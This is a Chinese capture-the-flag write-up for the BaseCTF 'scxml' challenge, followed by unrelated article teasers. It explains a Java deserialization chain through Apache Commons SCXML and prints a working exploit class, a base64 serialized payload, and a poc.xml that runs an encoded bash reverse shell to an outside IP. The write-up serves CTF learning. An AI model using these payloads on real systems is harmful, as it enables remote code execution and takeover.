BaseCTF scxml 详解

devtools/2025/1/12 16:49:42/

  视频教程在我主页简介和专栏里

 目录:

环境搭建

  jadx 反编译

  本题环境搭建

 题目分析

 番外

环境搭建,给的附件中就一个 Main.java 和四个 jar 包,借由这道题简单讲讲一般 CTFJAVA 题目的环境搭建

环境搭建

jadx 反编译

之前前面看的几道题由于都是 spring 环境,自己写的类也少,所以都是直接打开的 jar 包复制过去的, idea 会自动反编译 class 文件(当然只是不能保存为 java 文件而已,如果想要实现反编译并保存可以试试其插件)

直接用 jadx 打开整个文件夹,然后 ctrl+E 直接保存编译后的源代码,然后再用 idea 打开,不过这种一般有个问题,就是当反编译的文件太多的时候就会出现报错(因为打包时的各个环境不同,不能做到全部反编译也是很正常的),这种时候一般有三种方法

一、

慢慢修,也就是对照着 idea 中的 class 文件改。

二、

直接删除报错的 java 文件,然后引入原本的 jar 包当作依赖,不过这样就会 java 文件混子 class 文件,不推荐,因为之所以不用 class 文件就是因为全局搜方法的时候无法搜到。

但是如果知道需要什么方法,只需要简单看看代码其实不反编译也是可以的(这种对特别简单的题可以用,然后利用 tabby 直接寻找链子)。

三、

直接把那种一看就不是自己写的类之间用 maven 引入,看包名去 maven 上搜就知道该引入什么了。

总结、

以上方法其实还需要灵活应变,比如 maven 引入一些, jadx 反编译一些,有错的再用一来改。

本题环境搭建

再 lib 目录下有四个 jar 包

图片

一看就知道前三个是可以通过 maven 引入的,而最后一个是出题人自己写的,idea 打开看看,根据依赖,写入 pom.xml 中

<dependencies> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.1.3</version> </dependency> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.11</version> <scope>test</scope> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-jexl</artifactId> <version>2.1.1</version> <optional>true</optional> </dependency> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy</artifactId> <version>2.2.2</version> <optional>true</optional> </dependency> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> <optional>true</optional> </dependency> <dependency> <groupId>logkit</groupId> <artifactId>logkit</artifactId> <version>1.0.1</version> <optional>true</optional> </dependency> <dependency> <groupId>avalon-framework</groupId> <artifactId>avalon-framework</artifactId> <version>4.1.5</version> <optional>true</optional> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <version>2.3</version> <scope>provided</scope> <optional>true</optional> </dependency> <dependency> <groupId>org.apache.bsf</groupId> <artifactId>bsf-api</artifactId> <version>3.1</version> <scope>provided</scope> </dependency></dependencies>

然后其中 commons-scxml2 引入时显示在阿里镜像源仓库无法找到,去官方搜搜是不是有这个依赖,

图片

看到是有的,不过需要换一个镜像进行引入,最后所以依赖引入后我又把镜像改回去了,然后出问题了,到下载源码的时候这个 commons-scxml2 无法下载源码,造

但是好在其他的都能成功下载源码,那么就直接单独把这个 jar 包进行反编译修改掉报错就行了,

图片

题目分析

先看 Main.java 源码

import com.sun.net.httpserver.HttpServer; import javax.naming.InitialContext; import java.io.IOException; public class Main {  public static void main(String[] args) throws IOException {  var port = Integer.parseInt(System.getenv().getOrDefault("PORT", "9000"));  var server = HttpServer.create(new java.net.InetSocketAddress(port), 0);  server.createContext("/", req -> {  var code = 200;  var response = switch (req.getRequestURI().getPath()) {  case "/scxml" -> {  try {  var param = req.getRequestURI().getQuery();  yield new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString();  } catch (Throwable e) {  e.printStackTrace();  yield ":(";  }  }  default -> {  code = 404;  yield "Not found";  }  };  req.sendResponseHeaders(code, 0);  var os = req.getResponseBody();  os.write(response.getBytes());  os.close();  });  server.start();  System.out.printf("Server listening on :%s\n", port);  } }

看到在路由 /scxml 中存在一个反序列化,然后反序列化后还调用 tostring() 方法,在看看出题人自己定义的类

package com.n1ght; import java.io.Serializable; import java.util.Map; import org.apache.commons.scxml2.invoke.Invoker; import org.apache.commons.scxml2.invoke.InvokerException; /* loaded from: n1ght.jar:com/n1ght/InvokerImpl.class */ public class InvokerImpl implements Serializable {  private final Invoker o;  private final String source;  private final Map params;  public InvokerImpl(Invoker o, String source, Map params) {  this.o = o;  this.source = source;  this.params = params;  }  public String toString() {  try {  this.o.invoke(this.source, this.params);  return "success invoke";  } catch (InvokerException e) {  throw new RuntimeException((Throwable) e);  }  } }

刚好有 tostring 方法,不难知道这里就是入口了,看到在 tostring 中调用了 Invoker 接口类的 invoke 方法,搜索一番发现只有 SimpleSCXMLInvoker 类进行了继承,跟进到其 invoke 方法

图片

看不出什么所以然来,直接搜索 scxml 的 xxe 漏洞,

参考:https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/

给的 demo

图片

看到是通过 SCXMLReader.read 来进行连接获取 URL 中的 xml 资源,然后利用 executor.setStateMachine(scxml); 来进行加载资源,最后通过 executor.go() 执行获得的内容。

这里的 invoke 方法中刚好都有所以 poc

import com.n1ght.InvokerImpl; import org.apache.commons.scxml2.SCInstance; import org.apache.commons.scxml2.SCXMLExecutor; import org.apache.commons.scxml2.env.jexl.JexlEvaluator; import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; public class exp {  public static void main(String[] args)throws Exception {  SimpleSCXMLInvoker simin=new SimpleSCXMLInvoker();  Constructor constructor = SCInstance.class.getDeclaredConstructor(SCXMLExecutor.class);  constructor.setAccessible(true);  SCInstance sci = constructor.newInstance(new SCXMLExecutor());  setValue(sci,"evaluator",new JexlEvaluator());  setValue(simin,"parentSCInstance",sci);  HashMap hashmap = new HashMap();  InvokerImpl in =new InvokerImpl(simin,"http://106.53.212.184:9001/poc.xml",hashmap);  try {  ByteArrayOutputStream out = new ByteArrayOutputStream();  ObjectOutputStream objout = new ObjectOutputStream(out);  objout.writeObject(in);  objout.close();  out.close();  byte[] ObjectBytes = out.toByteArray();  String base64EncodedValue = Base64.getEncoder().encodeToString(ObjectBytes);  System.out.println(base64EncodedValue);  } catch (Exception e) {  e.printStackTrace();  }  }  public static void setValue(Object obj,String fieldName,Object value) throws Exception {  Field field = obj.getClass().getDeclaredField(fieldName);  field.setAccessible(true);  field.set(obj,value);  } }

payload

rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAiaHR0cDovLzEwNi41My4yMTIuMTg0OjkwMDEvcG9jLnhtbA==

成功弹出计算机

图片

题目上复现获得 flag

poc.xml

<?xml version="1.0"?><scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"><state id="run"><onentry><script>''.getClass().forName('java.lang.Runtime').getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")</script></onentry></state></scxml>

图片

番外

其实一开始我是没用看到在反序列化后调用了 tostring 方法的,然后就自己试着去找怎么从 readObject 调用到 toString,还是简单说说思路吧,这里先直接从原生的类开始起手,不难想到 hashmap 的 readObject 可以,直接全局搜索 hashcode,看哪些的 hashcode 可以调用到 toString,发现太多了,找了一下就放弃了,

然后又是了一下 hashtable 的 readObject,可以调用到 get 方法,那么就从 get 找看哪些 get 方法可以调用到 toString 方法,发现一个 map 类差一点就能成功,可惜其 map 中的 key 和 value 的类型固定,key 不能为 Object 类型,而 get 中又是 key.toString()。

事后了解到了 tabby 静态代码分析工具,

配置参考下方附件

然后查找命令

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.HashMap"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1

图片

看到通过其强大的污点分析功能得到了一条链子,但是后面试了一下是错的。

同样搜索从 hashtable 的 readobject 到 tostring 一样的有一条链子,但是没有试过。​​​​​​​

match (source:Method {NAME:"readObject",CLASSNAME:"java.util.Hashtable"})match (sink:Method {NAME:"toString",CLASSNAME:"com.n1ght.InvokerImpl"})with source, collect(sink) as sinkscall tabby.algo.findJavaGadget(source,"someString",sinks[0], 12, false) yield pathreturn path limit 1

图片

 视频教程在我主页简介和专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关  


http://www.ppmy.cn/devtools/149920.html

相关文章

PySpark学习笔记4-共享变量,内核调度

共享变量 解决方案一-广播变量 将本地列表标记成广播变量 可以实现降低内存占用和减少网络IO传输&#xff0c;提高性能 boradcast sc.boardcast(stu_info_list) value broadcast.value解决方案二-累加器 acmlt sc.accumulator(0)可以收集执行器的执行结果并作用在自己的身…

IoTDB 常见问题 QA 第三期

关于 IoTDB 的 Q & A IoTDB Q&A 第三期持续更新&#xff01;我们将定期汇总我们将定期汇总社区讨论频繁的问题&#xff0c;并展开进行详细回答&#xff0c;通过积累常见问题“小百科”&#xff0c;方便大家使用 IoTDB。 Q1&#xff1a;查询最新值 & null 数据相加方…

wireshark排除私接小路由

1.wireshark打开&#xff0c;发现了可疑地址&#xff0c;合法的地址段DHCP是192.168.100.0段的&#xff0c;打开后查看发现可疑地址段&#xff0c;分别是&#xff0c;192.168.0.1 192.168.1.174 192.168.1.1。查找到它对应的MAC地址。 ip.src192.168.1.1 2.通过show fdb p…

牛客网刷题 ——C语言初阶(6指针)——BC106 上三角矩阵判定

1. 题目描述——BC106 上三角矩阵判定 牛客网OJ题链接 描述 KiKi想知道一个n阶方矩是否为上三角矩阵&#xff0c;请帮他编程判定。上三角矩阵即主对角线以下的元素都为0的矩阵&#xff0c;主对角线为从矩阵的左上角至右下角的连线。 示例 输入&#xff1a; 3 1 2 3 0 4 5 0 0…

图像处理|腐蚀操作

在计算机视觉与图像处理中&#xff0c;腐蚀操作&#xff08;Erosion&#xff09;是形态学操作的一种。形态学操作广泛应用于二值图像中&#xff0c;主要用于分析和提取图像中的结构信息。腐蚀操作是这类操作中最常见的一种&#xff0c;用来对图像进行“收缩”处理&#xff0c;消…

【代码随想录-数组篇02】:双指针(快慢指针)法相关力扣练习题

提示1&#xff1a;本篇共包含5道题&#xff0c;全部用python语言进行实践&#xff0c;看会不如行动会&#xff0c;请大家多多实践&#xff5e; 提示2&#xff1a;强烈推荐 代码随想录 提示3&#xff1a;博主最近在跟着【代码随想录】进行刷题&#xff0c;有小伙伴有想法的可以私…

前端数据模拟器 mockjs 和 fakerjs

功能&#xff1a;帮助前端生成随机数据&#xff0c;独立于后端单独开发 一、mockjs 安装&#xff1a;npm install mockjs 优点&#xff1a;官网是中文。 缺点&#xff1a;目前该库已经无人维护&#xff0c;也没人解决github上的bug。 官网 github地址 二、fakerjs 安装&#xf…

腾讯云下架印度云服务器节点,印度云服务器租用何去何从

近日&#xff0c;腾讯云下架印度云服务器节点的消息引起了业界的广泛关注。这一变动让许多依赖印度云服务器的用户开始担忧&#xff0c;印度云服务器租用的未来究竟在何方&#xff1f; 从印度市场本身来看&#xff0c;其云服务市场的潜力不容小觑。据 IDC 报告&#xff0c;到 2…